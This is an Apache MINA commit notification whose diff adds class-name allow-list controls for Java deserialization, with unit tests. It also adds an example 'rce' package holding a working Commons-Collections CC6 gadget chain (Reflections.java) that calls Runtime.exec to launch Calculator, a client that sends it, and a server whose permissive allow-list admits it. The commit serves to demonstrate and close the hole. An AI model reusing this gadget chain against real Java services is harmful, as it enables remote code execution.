This is an automated email from the ASF dual-hosted git repository. elecharny pushed a commit to branch 2.2.X in repository https://gitbox.apache.org/repos/asf/mina.git
commit f9cc5ada6ebef4ee7cc51aac824e42e2e422310e Author: emmanuel lecharny <elecha...@apache.org> AuthorDate: Wed Nov 6 16:21:19 2024 +0100 Added some control on the classes that can be deserialized --- mina-core/pom.xml | 1 + .../apache/mina/core/buffer/AbstractIoBuffer.java | 38 ++++++--- .../java/org/apache/mina/core/buffer/IoBuffer.java | 8 ++ .../apache/mina/core/buffer/IoBufferWrapper.java | 8 ++ .../ObjectSerializationCodecFactory.java | 38 +++++++++ .../serialization/ObjectSerializationDecoder.java | 44 +++++++++++ .../org/apache/mina/core/buffer/IoBufferTest.java | 57 ++++++++++++++ mina-example/pom.xml | 11 +++ .../org/apache/mina/example/rce/MinaClient.java | 35 ++++++++ .../org/apache/mina/example/rce/MinaServer.java | 63 +++++++++++++++ .../org/apache/mina/example/rce/Reflections.java | 92 ++++++++++++++++++++++ 11 files changed, 382 insertions(+), 13 deletions(-) diff --git a/mina-core/pom.xml b/mina-core/pom.xml index c3d5a1b20..88d03d64b 100644 --- a/mina-core/pom.xml +++ b/mina-core/pom.xml @@ -59,6 +59,7 @@ <Export-Package> org.apache.mina.core, org.apache.mina.core.buffer, + org.apache.mina.core.buffer.matcher, org.apache.mina.core.file, org.apache.mina.core.filterchain, org.apache.mina.core.future, diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java b/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java index bd80469e9..c600a4e2c 100644 --- a/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java @@ -48,7 +48,6 @@ import java.util.EnumSet; import java.util.List; import java.util.Set; import java.util.regex.Pattern; -import java.util.stream.Stream; import org.apache.mina.core.buffer.matcher.ClassNameMatcher; import org.apache.mina.core.buffer.matcher.FullClassNameMatcher; @@ -91,7 +90,6 @@ public abstract class AbstractIoBuffer extends IoBuffer { private static final long INT_MASK = 0xFFFFFFFFL; private final List<ClassNameMatcher> acceptMatchers = new ArrayList<>(); - private final List<ClassNameMatcher> rejectMatchers = new ArrayList<>(); /** * We don't have any access to Buffer.markValue(), so we need to track it down, @@ -2177,18 +2175,23 @@ public abstract class AbstractIoBuffer extends IoBuffer { @Override protected ObjectStreamClass readClassDescriptor() throws IOException, ClassNotFoundException { int type = read(); + if (type < 0) { throw new EOFException(); } + switch (type) { - case 0: // NON-Serializable class or Primitive types - return super.readClassDescriptor(); - case 1: // Serializable class - String className = readUTF(); - Class<?> clazz = Class.forName(className, true, classLoader); - return ObjectStreamClass.lookup(clazz); - default: - throw new StreamCorruptedException("Unexpected class descriptor type: " + type); + case 0: // NON-Serializable class or Primitive types + return super.readClassDescriptor(); + + case 1: // Serializable class + String className = readUTF(); + Class<?> clazz = Class.forName(className, true, classLoader); + + return ObjectStreamClass.lookup(clazz); + + default: + throw new StreamCorruptedException("Unexpected class descriptor type: " + type); } } @@ -2196,10 +2199,9 @@ public abstract class AbstractIoBuffer extends IoBuffer { protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { Class<?> clazz = desc.forClass(); - String[] classes = new String[] {"java.util.Date", "long", "java.util.ArrayList"}; - if (clazz == null) { String name = desc.getName(); + try { return Class.forName(name, false, classLoader); } catch (ClassNotFoundException ex) { @@ -2224,7 +2226,6 @@ public abstract class AbstractIoBuffer extends IoBuffer { } } }) { - //((ValidatingObjectInputStream)in).accept(Date.class, long.class, ArrayList.class); return in.readObject(); } catch (IOException e) { throw new BufferDataException(e); @@ -2824,4 +2825,15 @@ public abstract class AbstractIoBuffer extends IoBuffer { return this; } + + /** + * {@inheritDoc} + */ + public void setMatchers(List<ClassNameMatcher> matchers) { + acceptMatchers.clear(); + + for (ClassNameMatcher matcher:matchers) { + acceptMatchers.add(matcher); + } + } } diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java index 6cda800cb..e54125803 100644 --- a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java @@ -35,6 +35,7 @@ import java.nio.charset.CharacterCodingException; import java.nio.charset.CharsetDecoder; import java.nio.charset.CharsetEncoder; import java.util.EnumSet; +import java.util.List; import java.util.Set; import java.util.regex.Pattern; @@ -2137,4 +2138,11 @@ public abstract class IoBuffer implements Comparable<IoBuffer> { * @return this object */ public abstract IoBuffer accept(String... patterns); + + /** + * Set the list of class matchers for in incoming buffer + * + * @param matchers The list of matchers + */ + public abstract void setMatchers(List<ClassNameMatcher> matchers); } diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java index e53081103..c59d42e07 100644 --- a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java @@ -33,6 +33,7 @@ import java.nio.ShortBuffer; import java.nio.charset.CharacterCodingException; import java.nio.charset.CharsetDecoder; import java.nio.charset.CharsetEncoder; +import java.util.List; import java.util.Set; import java.util.regex.Pattern; @@ -1564,4 +1565,11 @@ public class IoBufferWrapper extends IoBuffer { public IoBuffer accept(String... patterns) { return buf.accept(patterns); } + + /** + * {@inheritDoc} + */ + public void setMatchers(List<ClassNameMatcher> matchers) { + buf.setMatchers(matchers); + } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java index e682a3c25..2d3a88f9f 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java @@ -19,7 +19,12 @@ */ package org.apache.mina.filter.codec.serialization; +import java.util.regex.Pattern; + import org.apache.mina.core.buffer.BufferDataException; +import org.apache.mina.core.buffer.matcher.ClassNameMatcher; +import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher; +import org.apache.mina.core.buffer.matcher.WildcardClassNameMatcher; import org.apache.mina.core.session.IoSession; import org.apache.mina.filter.codec.ProtocolCodecFactory; import org.apache.mina.filter.codec.ProtocolDecoder; @@ -122,4 +127,37 @@ public class ObjectSerializationCodecFactory implements ProtocolCodecFactory { public void setDecoderMaxObjectSize(int maxObjectSize) { decoder.setMaxObjectSize(maxObjectSize); } + + /** + * Accept class names where the supplied ClassNameMatcher matches for + * deserialization, unless they are otherwise rejected. + * + * @param classNameMatcher the matcher to use + */ + public void accept(ClassNameMatcher classNameMatcher) { + decoder.accept(classNameMatcher); + } + + /** + * Accept class names that match the supplied pattern for + * deserialization, unless they are otherwise rejected. + * + * @param pattern standard Java regexp + */ + public void accept(Pattern pattern) { + decoder.accept(new RegexpClassNameMatcher(pattern)); + } + + /** + * Accept the wildcard specified classes for deserialization, + * unless they are otherwise rejected. + * + * @param patterns Wildcard file name patterns as defined by + * {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch} + */ + public void accept(String... patterns) { + for (String pattern:patterns) { + decoder.accept(new WildcardClassNameMatcher(pattern)); + } + } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java index 8def39ef7..ae324873b 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java +++ b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java @@ -20,9 +20,15 @@ package org.apache.mina.filter.codec.serialization; import java.io.Serializable; +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Pattern; import org.apache.mina.core.buffer.BufferDataException; import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.buffer.matcher.ClassNameMatcher; +import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher; +import org.apache.mina.core.buffer.matcher.WildcardClassNameMatcher; import org.apache.mina.core.session.IoSession; import org.apache.mina.filter.codec.CumulativeProtocolDecoder; import org.apache.mina.filter.codec.ProtocolDecoder; @@ -39,6 +45,9 @@ public class ObjectSerializationDecoder extends CumulativeProtocolDecoder { private int maxObjectSize = 1048576; // 1MB + /** The classes we accept when deserializing a binary blob */ + private final List<ClassNameMatcher> acceptMatchers = new ArrayList<>(); + /** * Creates a new instance with the {@link ClassLoader} of * the current thread. @@ -93,8 +102,43 @@ public class ObjectSerializationDecoder extends CumulativeProtocolDecoder { if (!in.prefixedDataAvailable(4, maxObjectSize)) { return false; } + + in.setMatchers(acceptMatchers); out.write(in.getObject(classLoader)); return true; } + + /** + * Accept class names where the supplied ClassNameMatcher matches for + * deserialization, unless they are otherwise rejected. + * + * @param classNameMatcher the matcher to use + */ + public void accept(ClassNameMatcher classNameMatcher) { + acceptMatchers.add(classNameMatcher); + } + + /** + * Accept class names that match the supplied pattern for + * deserialization, unless they are otherwise rejected. + * + * @param pattern standard Java regexp + */ + public void accept(Pattern pattern) { + acceptMatchers.add(new RegexpClassNameMatcher(pattern)); + } + + /** + * Accept the wildcard specified classes for deserialization, + * unless they are otherwise rejected. + * + * @param patterns Wildcard file name patterns as defined by + * {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch} + */ + public void accept(String... patterns) { + for (String pattern:patterns) { + acceptMatchers.add(new WildcardClassNameMatcher(pattern)); + } + } } diff --git a/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java b/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java index bf8c46743..41b1952ee 100644 --- a/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java +++ b/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java @@ -41,6 +41,8 @@ import java.util.Date; import java.util.EnumSet; import java.util.List; +import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher; +import org.apache.mina.core.buffer.matcher.WildcardClassNameMatcher; import org.apache.mina.util.Bar; import org.junit.Test; @@ -393,6 +395,8 @@ public class IoBufferTest { IoBuffer buffer = IoBuffer.allocate(16); buffer.setAutoExpand(true); buffer.putObject(c); + + // Accept the String class buffer.accept(String.class.getName()); buffer.flip(); @@ -402,6 +406,59 @@ public class IoBufferTest { assertSame(c, o); } + @Test + public void testNonserializableClassAcceptWildcard() throws Exception { + Class<?> c = String.class; + + IoBuffer buffer = IoBuffer.allocate(16); + buffer.setAutoExpand(true); + buffer.putObject(c); + + // Accept all classes which name starts with 'java.lan' + // That includes 'java.lang.String' + buffer.accept(new WildcardClassNameMatcher("java.lan*")); + + buffer.flip(); + Object o = buffer.getObject(); + + assertEquals(c, o); + assertSame(c, o); + } + + @Test + public void testNonserializableClassAcceptRegexp() throws Exception { + Class<?> c = String.class; + + IoBuffer buffer = IoBuffer.allocate(16); + buffer.setAutoExpand(true); + buffer.putObject(c); + + // Accept all class which contains '.lang.' in their name + // That includes java.lang.String + buffer.accept(new RegexpClassNameMatcher(".*\\.lang\\..*")); + + buffer.flip(); + Object o = buffer.getObject(); + + assertEquals(c, o); + assertSame(c, o); + } + + @Test(expected=ClassNotFoundException.class) + public void testNonserializableClassReject() throws Exception { + Class<?> c = String.class; + + IoBuffer buffer = IoBuffer.allocate(16); + buffer.setAutoExpand(true); + buffer.putObject(c); + // Don't accept the java.lang.String class + + buffer.flip(); + + // Should throw an exception + buffer.getObject(); + } + @Test public void testNonserializableInterface() throws Exception { Class<?> c = NonserializableInterface.class; diff --git a/mina-example/pom.xml b/mina-example/pom.xml index c3a2ededc..4e15b3377 100644 --- a/mina-example/pom.xml +++ b/mina-example/pom.xml @@ -80,5 +80,16 @@ <artifactId>jcl-over-slf4j</artifactId> </dependency> + <dependency> + <groupId>org.apache.commons</groupId> + <artifactId>commons-collections4</artifactId> + <version>4.0</version> + </dependency> + + <dependency> + <groupId>com.nqzero</groupId> + <artifactId>permit-reflect</artifactId> + <version>0.3</version> + </dependency> </dependencies> </project> diff --git a/mina-example/src/main/java/org/apache/mina/example/rce/MinaClient.java b/mina-example/src/main/java/org/apache/mina/example/rce/MinaClient.java new file mode 100644 index 000000000..50a8c5b9b --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/rce/MinaClient.java @@ -0,0 +1,35 @@ +package org.apache.mina.example.rce; + +import org.apache.mina.core.future.ConnectFuture; +import org.apache.mina.core.service.IoConnector; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.ProtocolCodecFilter; +import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory; +import org.apache.mina.transport.socket.nio.NioSocketConnector; +//import payload.Generator; +import java.net.InetSocketAddress; + +public class MinaClient { + private static final String HOSTNAME = "localhost"; + private static final int PORT = 9123; + + public static void main(String[] args) throws Exception { + IoConnector connector = new NioSocketConnector(); + connector.getFilterChain().addLast("codec", new ProtocolCodecFilter(new ObjectSerializationCodecFactory())); + connector.setHandler(new ClientHandler()); + ConnectFuture future = connector.connect(new InetSocketAddress(HOSTNAME, PORT)); + future.awaitUninterruptibly(); + IoSession session = future.getSession(); + session.write(Reflections.getCC6()); + session.getCloseFuture().awaitUninterruptibly(); + connector.dispose(); + } + + private static class ClientHandler extends IoHandlerAdapter { + @Override + public void messageReceived(IoSession session, Object message) { + System.out.println("Received from server: " + message); + } + } +} \ No newline at end of file diff --git a/mina-example/src/main/java/org/apache/mina/example/rce/MinaServer.java b/mina-example/src/main/java/org/apache/mina/example/rce/MinaServer.java new file mode 100644 index 000000000..60b134308 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/rce/MinaServer.java @@ -0,0 +1,63 @@ +package org.apache.mina.example.rce; + +import org.apache.mina.core.buffer.matcher.FullClassNameMatcher; +import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher; +import org.apache.mina.core.service.IoAcceptor; +import org.apache.mina.core.service.IoHandlerAdapter; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.ProtocolCodecFilter; +import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory; +import org.apache.mina.transport.socket.nio.NioSocketAcceptor; +import java.io.IOException; +import java.net.InetSocketAddress; + +public class MinaServer { + private static final int PORT = 9123; + + public static void main(String[] args) throws IOException { + IoAcceptor acceptor = new NioSocketAcceptor(); + ObjectSerializationCodecFactory codec = new ObjectSerializationCodecFactory(); + codec.accept(new RegexpClassNameMatcher("java.util.Collections.*")); + codec.accept(new RegexpClassNameMatcher("org.apache.commons.collections4.*")); + codec.accept(new RegexpClassNameMatcher("java.lang.*")); + + codec.accept(new FullClassNameMatcher( + "javax.management.BadAttributeValueExpException", + "java.util.ArrayList", + "java.util.HashMap")); + + /* + codec.accept(new FullClassNameMatcher( + "javax.management.BadAttributeValueExpException", + "java.lang.Exception", + "java.lang.Throwable", + "java.lang.StackTraceElement", + "java.util.Collections$UnmodifiableList", + "java.util.Collections$UnmodifiableCollection", + "java.util.ArrayList", + "org.apache.commons.collections4.keyvalue.TiedMapEntry", + "org.apache.commons.collections4.map.LazyMap", + "org.apache.commons.collections4.functors.ChainedTransformer", + "org.apache.commons.collections4.functors.ConstantTransformer", + "org.apache.commons.collections4.functors.InvokerTransformer", + "java.lang.String", + "java.lang.Integer", + "java.lang.Number", + "java.util.HashMap")); + */ + + acceptor.getFilterChain().addLast("codec", new ProtocolCodecFilter(codec)); + acceptor.setHandler(new ServerHandler()); + acceptor.bind(new InetSocketAddress(PORT)); + System.out.println("Mina Server started on port " + PORT); + } + + + private static class ServerHandler extends IoHandlerAdapter { + @Override + public void messageReceived(IoSession session, Object message) { + System.out.println("Received: " + message); + session.write("Server Response: " + message); + } + } +} \ No newline at end of file diff --git a/mina-example/src/main/java/org/apache/mina/example/rce/Reflections.java b/mina-example/src/main/java/org/apache/mina/example/rce/Reflections.java new file mode 100644 index 000000000..5827ebbe7 --- /dev/null +++ b/mina-example/src/main/java/org/apache/mina/example/rce/Reflections.java @@ -0,0 +1,92 @@ +package org.apache.mina.example.rce; + +import com.nqzero.permit.Permit; + +import java.lang.reflect.AccessibleObject; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +import javax.management.BadAttributeValueExpException; + +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InvokerTransformer; +import org.apache.commons.collections4.keyvalue.TiedMapEntry; +import org.apache.commons.collections4.map.LazyMap; + +public class Reflections { + public static Object getCC6() throws IllegalAccessException, NoSuchFieldException { + String[] execArgs = new String[] {"open /System/Applications/Calculator.app"}; + Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) }); + Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, + new Object[] {"getRuntime", new Class[0] }), + new InvokerTransformer("invoke", + new Class[] {Object.class, Object[].class }, + new Object[] {null, new Object[0] }), + new InvokerTransformer("exec",new Class[] { String.class }, execArgs), + new ConstantTransformer(1) + }; + Map innerMap = new HashMap<>(); + Map lazyMap = LazyMap.lazyMap(innerMap, transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + Reflections.setAccessible(valfield); + valfield.set(val, entry); + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return val; + } + + public static void setAccessible(AccessibleObject member) { + String versionStr = System.getProperty("java.version"); + int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]); + + if (javaVersion < 12) { + // quiet runtime warnings from JDK9+ + Permit.setAccessible(member); + } else { + // not possible to quiet runtime warnings anymore... + // see https://bugs.openjdk.java.net/browse/JDK-8210522 + // to understand impact on Permit (i.e. it does not work + // anymore with Java >= 12) + member.setAccessible(true); + } + } + + public static void setFieldValue(Object obj, String field, Object value){ + try { + Class clazz = obj.getClass(); + Field fld = getField(clazz,field); + fld.setAccessible(true); + fld.set(obj, value); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception { + try { + Field field = clazz.getDeclaredField(fieldName); + + if ( field != null ) { + field.setAccessible(true); + } else if ( clazz.getSuperclass() != null ) { + field = getField(clazz.getSuperclass(), fieldName); + } + + return field; + } + catch ( NoSuchFieldException e ) { + if ( !clazz.getSuperclass().equals(Object.class) ) { + return getField(clazz.getSuperclass(), fieldName); + } + + throw e; + } + } +} \ No newline at end of file